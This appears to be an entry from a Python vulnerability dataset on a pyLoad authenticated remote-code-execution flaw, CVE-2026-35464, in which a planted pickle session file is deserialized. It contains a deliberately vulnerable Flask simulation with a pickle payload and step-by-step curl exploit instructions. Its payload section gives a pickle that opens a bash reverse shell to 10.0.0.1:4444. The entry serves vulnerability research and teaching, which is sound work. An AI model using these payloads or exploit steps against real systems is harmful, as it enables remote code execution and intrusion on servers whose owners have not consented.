CVE-2026-35464
pyLoad authenticated RCE via insecure storage path and pickle deserialization.
- CVSS 7.5
- CWE-502
- Authentication, Authorization, and Session Management
- Remote
pyLoad is a free and open-source download manager written in Python. The fix for CVE-2026-33509 added an ADMIN_ONLY_OPTIONS set to block non-admin users from modifying security-critical config options. The storage_folder option is not in this set and passes the existing path restriction because the Flask session directory is outside both PKGDIR and userdir. A user with SETTINGS and ADD permissions can redirect downloads to the Flask filesystem session store, plant a malicious pickle payload as a predictable session file, and trigger arbitrary code execution when any HTTP request arrives with the corresponding session cookie. This vulnerability is fixed with commit c4cf995a2803bdbe388addfc2b0f323277efc0e1.
- CWE
- CWE-502
- CVSS base score
- 7.5
- Published
- 2026-04-07
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Authentication, Authorization, and Session Management
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- pyLoad
Solution
Upgrade to pyLoad version 0.5.0 or later.
Vulnerable code sample
import os
import pickle
import shutil
import tempfile
from flask import Flask, session, request, jsonify, g
# --- Vulnerability Simulation Setup ---
# This code is a minimal, conceptual representation of the vulnerability described
# in CVE-2026-35464. It does not use the actual pyLoad source code but models
# the flawed logic that allowed the exploit.
# 1. A flawed set of restricted options for non-admins. 'storage_folder' is missing.
ADMIN_ONLY_OPTIONS = {
'some_secret_key',
'admin_password_hash',
'critical_api_endpoint'
}
# 2. A flawed path validation function. It checks if the path is within the app's
# base directory, but this allows traversing to sibling directories like the
# session store, which is not what was intended.
def is_safe_path(base, path):
"""A plausible but flawed path safety check."""
try:
# Check if the resolved path is within the allowed base directory.
return os.path.abspath(path).startswith(os.path.abspath(base))
except Exception:
return False
# 3. Application State Simulation
# In a real app, this would be part of a larger configuration object.
APP_ROOT = tempfile.mkdtemp()
DOWNLOAD_DIR = os.path.join(APP_ROOT, "downloads")
SESSION_DIR = os.path.join(APP_ROOT, "flask_sessions")
CONFIG = {
'storage_folder': DOWNLOAD_DIR,
'app_root': APP_ROOT
}
# Simulate a simple user database with permissions
USERS = {
"admin": {"permissions": {"SETTINGS", "ADD"}},
"limited_user": {"permissions": {"SETTINGS", "ADD"}} # User has SETTINGS and ADD perms
}
# --- Flask Application ---
app = Flask(__name__)
# Use FilesystemSessionInterface which uses pickle for serialization
app.config['SESSION_TYPE'] = 'filesystem'
app.config['SESSION_FILE_DIR'] = SESSION_DIR
app.secret_key = 'a-very-secret-key'
# This would be a proper session interface setup in a real app
from flask.sessions import FileSystemSessionInterface
app.session_interface = FileSystemSessionInterface(SESSION_DIR, 31 * 24 * 60 * 60)
@app.before_request
def load_user():
"""Simulate loading a user from the session."""
user_id = session.get('user_id')
if user_id in USERS:
g.user = USERS[user_id]
g.user['id'] = user_id
else:
g.user = None
@app.route('/login/<username>')
def login(username):
"""Simulate logging in as a user."""
if username in USERS:
session['user_id'] = username
return jsonify(message=f"Logged in as {username}", session_cookie=request.cookies.get('session'))
return "User not found", 404
@app.route('/settings', methods=['POST'])
def update_settings():
"""VULNERABLE settings update endpoint."""
if not g.user or 'SETTINGS' not in g.user.get('permissions', {}):
return "Permission Denied", 403
is_admin = g.user['id'] == 'admin'
settings_to_update = request.get_json()
for key, value in settings_to_update.items():
# Check if a non-admin is trying to change a protected option.
# FLAW: 'storage_folder' is NOT in ADMIN_ONLY_OPTIONS.
if key in ADMIN_ONLY_OPTIONS and not is_admin:
return f"Permission Denied: '{key}' is an admin-only option.", 403
# Check path safety for storage_folder.
# FLAW: The check passes because SESSION_DIR is inside APP_ROOT,
# even though it allows overwriting sensitive session files.
if key == 'storage_folder':
if not is_safe_path(CONFIG['app_root'], value):
return "Permission Denied: Path is outside the allowed directory.", 403
# Update the config
CONFIG[key] = value
return jsonify(message="Settings updated", new_config=CONFIG)
@app.route('/add_download', methods=['POST'])
def add_download():
"""Simulates adding a file for 'download'."""
if not g.user or 'ADD' not in g.user.get('permissions', {}):
return "Permission Denied", 403
data = request.get_json()
filename = data.get('filename')
file_content_b64 = data.get('content_b64') # Content is provided directly for simulation
if not filename or not file_content_b64:
return "Filename and content_b64 are required", 400
import base64
file_content = base64.b64decode(file_content_b64)
# The destination is controlled by the vulnerable 'storage_folder' config
destination_path = os.path.join(CONFIG['storage_folder'], filename)
try:
# Write the file to the destination. This is where the malicious
# pickle payload gets written into the session directory.
with open(destination_path, 'wb') as f:
f.write(file_content)
except Exception as e:
return f"Failed to write file: {e}", 500
return jsonify(message=f"File '{filename}' saved to '{CONFIG['storage_folder']}'")
@app.route('/')
def index():
"""An arbitrary endpoint to trigger session loading."""
if g.user:
return f"Hello, {g.user['id']}! Your session is active."
return "Hello, guest! Please log in."
if __name__ == '__main__':
# Setup directories
os.makedirs(DOWNLOAD_DIR, exist_ok=True)
os.makedirs(SESSION_DIR, exist_ok=True)
# Malicious pickle payload that executes a command
class RCE:
def __reduce__(self):
# Command to execute upon deserialization
cmd = "touch /tmp/pwned_by_cve_2026_35464"
return (os.system, (cmd,))
# Create the malicious payload
malicious_pickle_payload = pickle.dumps(RCE())
import base64
payload_b64 = base64.b64encode(malicious_pickle_payload).decode()
print("--- Vulnerable Server Running ---")
print(f"[*] App Root: {APP_ROOT}")
print(f"[*] Default Download Dir: {DOWNLOAD_DIR}")
print(f"[*] Session Storage Dir: {SESSION_DIR}")
print("\n--- How to Exploit (run in another terminal) ---")
print("1. Login as 'limited_user' and get the session cookie:")
print(" curl -c cookie.txt http://127.0.0.1:5000/login/limited_user")
print("\n2. Get the session ID from the cookie file (it's the last value):")
print(" SESSION_ID=$(tail -n 1 cookie.txt | cut -f 7)")
print(" echo \"Session ID is: $SESSION_ID\"")
print("\n3. Change 'storage_folder' to the session directory:")
print(f" curl -b cookie.txt -X POST -H 'Content-Type: application/json' -d '{{\"storage_folder\": \"{SESSION_DIR}\"}}' http://127.0.0.1:5000/settings")
print("\n4. 'Download' the malicious pickle payload, naming it after the session file:")
print(f" curl -b cookie.txt -X POST -H 'Content-Type: application/json' -d '{{\"filename\": \"$SESSION_ID\", \"content_b64\": \"{payload_b64}\"}}' http://127.0.0.1:5000/add_download")
print("\n5. Trigger the payload by making any request with the cookie. Flask will load the malicious session file:")
print(" curl -b cookie.txt http://127.0.0.1:5000/")
print("\n6. Check for evidence of code execution:")
print(" ls /tmp/pwned_by_cve_2026_35464")
print(" # If the file exists, the exploit was successful.\n")
try:
app.run(debug=False)
finally:
print("\n--- Cleaning up temporary directories ---")
shutil.rmtree(APP_ROOT)Patched code sample
ADMIN_ONLY_OPTIONS = {
"folder_per_package", "use_checksum", "use_temp_files",
"skip_existing_files", "overwrite_existing_files",
"chunk_limit", "max_chunks", "max_downloads", "max_speed",
"proxy", "proxy_host", "proxy_password", "proxy_port", "proxy_type", "proxy_user",
"reconnect", "reconnect_method", "reconnect_retries", "reconnect_wait",
"account", "activated", "limit", "maxtrafic", "plugin", "premium", "validuntil",
"storage_folder"
}Payload
import pickle
import os
class RCE:
def __reduce__(self):
cmd = "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'"
return (os.system, (cmd,))
payload = pickle.dumps(RCE())
# The content of the 'payload' variable is what should be written
# to the session file on the target system. For a real attack,
# you would save this variable's content to a file.
# e.g., with open('malicious_session_file', 'wb') as f: f.write(payload)
Cite this entry
@misc{vaitp:cve202635464,
title = {{pyLoad authenticated RCE via insecure storage path and pickle deserialization.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-35464},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-35464/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
